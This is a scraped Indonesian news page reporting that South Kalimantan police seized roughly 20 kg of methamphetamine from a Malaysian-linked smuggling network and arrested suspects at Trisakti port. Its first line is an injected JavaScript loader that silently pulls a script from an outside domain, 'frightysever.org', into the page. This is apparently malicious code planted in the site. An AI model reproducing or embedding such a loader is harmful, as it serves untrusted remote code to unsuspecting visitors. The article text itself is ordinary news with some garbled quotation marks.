(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Polda Kalsel kembali berhasil meringkus sekaligus menggaglkan peredaran narkoba jenis sabu di Kalimantan Selatan. Sebanyak 20 kg sabu yang berasal dari jaringan Malaysia berhasil diamankan berikut sindikat dalam jaringan tersebut.
Keberhasilan Diresnarkoba dalam mengungkap kasus ini sekaligus menjadi ‘kado’ kenaikan pangkat bagi Kapolda Irjend Rachmat Mulayana yang kini menyandang bintang dua. Pengungkapan kasus narkoba disampaikan dalam jumpa pers di Mapolda Kalsel, Senin (16/7).
“Kita masih dalam suasana baru usai menyandang Polda Tipe A. Ini sekaligus hadiah kenaikan pangkat dari Dit Resnarkoba Polda Kalsel kepada saya, hampir 20 kg sabu dan tersangkanya berhasil dibekuk,†kata Irjen Rachmat Mulyana.
Pengungkapan kasus ini berawal pada Sabtu (14/7) lalu, saat tim Dirtesnarkoba Kalsel melakukan investigasi jaringan narkoba Malaysia yang dikendalikan Fajri. Ini merupakan sindikat internasional yang sebelumnya kerap beraksi di Kalsel. Jjajaran Ditresnarkoba Polda Kalsel menyasar hingga ke Surabaya. Dan, perjalanan itu pun akhirnya membuahkan hasil dengan menangkap pelaku berinsial NF dan MP serta membawa sabu melalui jalur laut menggunakan KM Kirana menuju Banjarmasin.
“Para anggota melakukan lidik yang panjang hingga ke pulau Jawa sana agar jaringan tersebut dapat ditangkap,†jelas Kapolda.
Setelah ditentukan target, ucap Jenderal bintang dua tersebut, langsung mengarahkan para anggota untuk ke pelabuhan Trisakti dan melakukan pemeriksaan. Walhasil, ditemukan sabu sabu sebanyak 20 paket berukuran besar, 25 paket berukuran kecil serta HP merek Oppo yang digunakan untuk komunikasi antara jaringan narkoba tersebut.
“Totalnya 18,635 kilogram dan digabungkan dengan jaringan Malaysia sebelumnya menjadi seberat 38,635,05 gram,†ungkapnya
Ditambahkannya, modus penyeludupan narkoba ini sudah berubah, yang sebelumnya masuknya barang haram tersebut melalui bandara. Sekarang untuk mengelabui petugas masuk melalui jalur laut.
Terkait prestasi ini, Kapolda berharap bisa menjadi perhatian Polri atas prestasi anak buahnya yang telah berhasil menyelamatkan 77.701 jiwa agar terhindar dari bahaya narkoba. “Apresiasi penuh dari saya untuk jajaran Ditresnarkoba Polda Kalsel, ini merupakan menyelamatan manusia dari bahaya narkoba,†tegasnya.
Dalam jumpa pers tadi juga dilakukan pemusnahan barang bukti di Polda Kalsel, turut juga dihadiri pleh beberapa perwakilan instansi hukum dari Kanwil Dirjend Bea Cukai Kalimantan Bagian Selatan, Kejati Kalsel dan Pengadilan Tinggi Banjarmasin.
Sesuai ketentuan Pasal 114 ayat (2) UU Narkotika, bagi tersangka yang memiliki narkotika lebih dari 5 kilogram bisa diancam pidana mati. “Saya ingin tahu, apakah di Kalsel bisa dikenakan hukuman mati bagi pelaku narkoba. Apakah setuju atau tidak?†ungkap Kapolda. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
This website uses cookies.